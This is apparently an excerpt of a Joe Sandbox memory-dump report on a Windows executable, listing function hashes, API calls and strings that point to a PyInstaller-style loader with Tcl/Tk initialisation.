Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 88b5ba53a3b1a8d07e7f71686d69661f350d2952774cbf823977c11f817431b2
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 3D519037A1865282F7249B29C840A3CB3A0EF48B68F644371DE4C877A4CB3AF853C754

Function 00007FF70AF01BC0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: bad50515f1b04a1ae956838ae098f9e3a70070ab6f5b01fb8b3bd065c1f8e065
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 4851C437A1865186F7249B29C840B78B7A0EF45B58FA58271CE8C97794CF3AF883C754

Function 00007FF70AF01FD0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 3d1b2013d3162e81e47a75486e4d0774f1cbb28553d5e62af59c17ac4d6d160c
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 2551A173A1875185F7249B28C848AB8B7A0EF54B58FA44171CF4C977A8DB3AFC42C760

Function 00007FF70AF017B0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: c8741d17199962f581fa0367ff3a2fc569e4e1dfb8bac8a5b434003243da94d8
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 5351B037A1865186F7249B28C840A3DB7A1EF44F58FA45271CE4C97798CF3AF942C794

Function 00007FF70AF05DA0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: c84895071e1fd03f6f34acca5ed52635089021da43f7f406afedd8c0effdd7f6
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 5441C86380964A44FA6599388E04EB8D6809F22BA1DD8D2F0DCD9D73C2DF8CF947C521

Function 00007FF70AF09F10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction ID: 11c6d693fc5fde7047bdd0adae7ca9849274188e941a2970959f3aadc1479cd4
Opcode Fuzzy Hash: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction Fuzzy Hash: 9841BF23714A5982FF04EF2ADE145A9A3A1BB48FD0F999436DE0D97B58DF3DE4428300

Function 00007FF70AF08154 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: ec40078d3bb4989388ccb1dcb2840be1f4dab694b2f5f862c1797205d3c6e77f
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: C331D433B18B4281F764AB21EC4053EB695AF85BE0F944279EA8D93BD5DF3CE0018754

Function 00007FF70AF195E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction ID: 80c410392532eb5db70354b7a0be8b1cb9e231b3e9c2b12afa15a58aa920ab7d
Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction Fuzzy Hash: A6F04473B182558AEB98DF69E84262977D0FB18380F80D1B9D58987B04DB3CD0618F14

Function 00007FF70AEFD37C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction ID: 28a896077cfdc752ea4c0f13e3781f4ee8604ed7b13c6d12ab7af7c238fa4f71
Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction Fuzzy Hash: C3A0012290D84AD0F645AB00EC91025A731FF54304FC000B1E90D411A0AF2CE404A221

Function 00007FF70AEF76B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70AEF76C7
GetLastError.KERNEL32 ref: 00007FF70AEF76D9
GetProcAddress.KERNEL32 ref: 00007FF70AEF7715
GetLastError.KERNEL32 ref: 00007FF70AEF7727
GetProcAddress.KERNEL32 ref: 00007FF70AEF7740
GetLastError.KERNEL32 ref: 00007FF70AEF7752
GetProcAddress.KERNEL32 ref: 00007FF70AEF776B
GetLastError.KERNEL32 ref: 00007FF70AEF777D
GetProcAddress.KERNEL32 ref: 00007FF70AEF7799
GetLastError.KERNEL32 ref: 00007FF70AEF77AB
GetProcAddress.KERNEL32 ref: 00007FF70AEF77C7
GetLastError.KERNEL32 ref: 00007FF70AEF77D9
GetProcAddress.KERNEL32 ref: 00007FF70AEF77F5
GetLastError.KERNEL32 ref: 00007FF70AEF7807
GetProcAddress.KERNEL32 ref: 00007FF70AEF7823
GetLastError.KERNEL32 ref: 00007FF70AEF7835
GetProcAddress.KERNEL32 ref: 00007FF70AEF7851
GetLastError.KERNEL32 ref: 00007FF70AEF7863

Strings

Tcl_FinalizeThread, xrefs: 00007FF70AEF77BD, 00007FF70AEF77DF
Tcl_ConditionFinalize, xrefs: 00007FF70AEF792D, 00007FF70AEF794F
Tcl_GetVar2, xrefs: 00007FF70AEF7A13, 00007FF70AEF7A35
Tcl_ConditionWait, xrefs: 00007FF70AEF7989, 00007FF70AEF79AB
Tcl_Init, xrefs: 00007FF70AEF76C0, 00007FF70AEF76DF
Tcl_FindExecutable, xrefs: 00007FF70AEF7736, 00007FF70AEF7758
Tcl_JoinThread, xrefs: 00007FF70AEF7875, 00007FF70AEF7897
Tcl_Finalize, xrefs: 00007FF70AEF778F, 00007FF70AEF77B1
Tcl_Free, xrefs: 00007FF70AEF7C3B, 00007FF70AEF7C5D
Tcl_ConditionNotify, xrefs: 00007FF70AEF795B, 00007FF70AEF797D
Tcl_MutexLock, xrefs: 00007FF70AEF78A3, 00007FF70AEF78C5
Tcl_CreateInterp, xrefs: 00007FF70AEF770B, 00007FF70AEF772D
GetProcAddress, xrefs: 00007FF70AEF76EF
Failed to get address for %hs, xrefs: 00007FF70AEF76E8
Tcl_Alloc, xrefs: 00007FF70AEF7C0D, 00007FF70AEF7C2F
Tcl_MutexUnlock, xrefs: 00007FF70AEF78D1, 00007FF70AEF78F3
Tcl_GetObjResult, xrefs: 00007FF70AEF7B55, 00007FF70AEF7B77
Tk_Init, xrefs: 00007FF70AEF7C69, 00007FF70AEF7C8B
Tcl_CreateThread, xrefs: 00007FF70AEF7819, 00007FF70AEF783B
Tcl_DoOneEvent, xrefs: 00007FF70AEF7761, 00007FF70AEF7783
Tcl_SetVar2Ex, xrefs: 00007FF70AEF7B27, 00007FF70AEF7B49
Tcl_EvalObjv, xrefs: 00007FF70AEF7BDF, 00007FF70AEF7C01
Tk_GetNumMainWindows, xrefs: 00007FF70AEF7C97, 00007FF70AEF7CB9
Tcl_MutexFinalize, xrefs: 00007FF70AEF78FF, 00007FF70AEF7921
Tcl_GetString, xrefs: 00007FF70AEF7A9D, 00007FF70AEF7ABF
Tcl_EvalEx, xrefs: 00007FF70AEF7BB1, 00007FF70AEF7BD3
Tcl_ThreadQueueEvent, xrefs: 00007FF70AEF79B7, 00007FF70AEF79D9
Tcl_ThreadAlert, xrefs: 00007FF70AEF79E5, 00007FF70AEF7A07
Tcl_CreateObjCommand, xrefs: 00007FF70AEF7A6F, 00007FF70AEF7A91
Tcl_DeleteInterp, xrefs: 00007FF70AEF77EB, 00007FF70AEF780D
Tcl_GetCurrentThread, xrefs: 00007FF70AEF7847, 00007FF70AEF7869
Tcl_NewStringObj, xrefs: 00007FF70AEF7ACB, 00007FF70AEF7AED
Tcl_SetVar2, xrefs: 00007FF70AEF7A41, 00007FF70AEF7A63
Tcl_NewByteArrayObj, xrefs: 00007FF70AEF7AF9, 00007FF70AEF7B1B
Tcl_EvalFile, xrefs: 00007FF70AEF7B83, 00007FF70AEF7BA5

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 35ea1e739dc285f9a32730c3726a9fe829d3dff3ac73b6bb8e06251184b4cf32
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: D4029A26E0DB17D2FA59BB65EC115B8A3B1AF08795FC551B5D82E023A4EF3CF5488230

Function 00007FF70AEF81C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70AEF9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF70AEF45E4,00000000,00007FF70AEF1985), ref: 00007FF70AEF9439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF70AEF88A7,?,?,00000000,00007FF70AEF3CBB), ref: 00007FF70AEF821C

Part of subcall function 00007FF70AEF2810: MessageBoxW.USER32 ref: 00007FF70AEF28EA

Strings

LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF70AEF828D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF70AEF81F3
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF70AEF8230
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF70AEF82C9
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF70AEF8363
\, xrefs: 00007FF70AEF8251
%.*s, xrefs: 00007FF70AEF82FC
CreateDirectory, xrefs: 00007FF70AEF836C

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: 51db663578e29596923a6cfb9b8df267e2f065df50904b3a3bfff3cdba169b8b
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: 9B517513A1DA8381FB50FB25EC526BAE2A1EF94784FC444B1DA0E836D5EF2CF5058760

Function 00007FF70AEF2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF70AEF21AB
SelectObject.GDI32 ref: 00007FF70AEF21F2
DrawTextW.USER32 ref: 00007FF70AEF2215
SelectObject.GDI32 ref: 00007FF70AEF222B
ReleaseDC.USER32 ref: 00007FF70AEF223B
MoveWindow.USER32 ref: 00007FF70AEF228B
MoveWindow.USER32 ref: 00007FF70AEF22CB
MoveWindow.USER32 ref: 00007FF70AEF231E
MoveWindow.USER32 ref: 00007FF70AEF2366

Strings

P%, xrefs: 00007FF70AEF21FF

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: f742f678daa0bdd39b71f32d08744b57abd62ec7a381a5bf34a601c0fde3de0a
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 4951C7266147A186E634AF26F8181BAF7A1FB98B61F404125EBDE43794DF3CD045DB20

Function 00007FF70AEF80B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF70AEF80EF
GetWindowLongPtrW.USER32 ref: 00007FF70AEF816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF70AEF8182
GetLastError.KERNEL32 ref: 00007FF70AEF818C
SetWindowLongPtrW.USER32 ref: 00007FF70AEF81A3

Strings

Needs to remove its temporary files., xrefs: 00007FF70AEF8175

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: de84b2028bb02f28c0566a1b4292edd95e41cc1ead2eeb60be7d88fe200f9ed9
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: F3216227B08A43C1FB55AB7AEC55169A350EF88B90FC842B1DA2D43395DF2CE5908221

Function 00007FF70AF06300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF06343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF06730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF069CC

Strings

f, xrefs: 00007FF70AF06465
:, xrefs: 00007FF70AF064FC
p, xrefs: 00007FF70AF063F5
-, xrefs: 00007FF70AF063D9
p, xrefs: 00007FF70AF0646D

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: ea1f3d39af846da2f22d00ebd0f2e934ab61921b1e8ea1c7ffc5d2c0794b4907
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 7D127F63E0C15386FBA07A14D954A79B6A2FF40754FC44175E68ACBAC4DFBCF5A08B20

Function 00007FF70AF01038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF01078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF01440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF016DF

Strings

f, xrefs: 00007FF70AF01110
f, xrefs: 00007FF70AF012C5
p, xrefs: 00007FF70AF0111D
p, xrefs: 00007FF70AF01182
f, xrefs: 00007FF70AF0117A

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: f7ae7d69a8883e34aa2252b19a740cfb38b11d8db6866dce89720b897bd2d6bf
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: E0126F27E0C14386FB20BB55E854A7AB6A1FF41754FC84275E699C7AC4DB7CF4808B28

Function 00007FF70AEF1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF70AEF110F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF70AEF1098
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF70AEF1108
fseek, xrefs: 00007FF70AEF10D3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF70AEF10CC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF70AEF11F6
fread, xrefs: 00007FF70AEF11FD

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
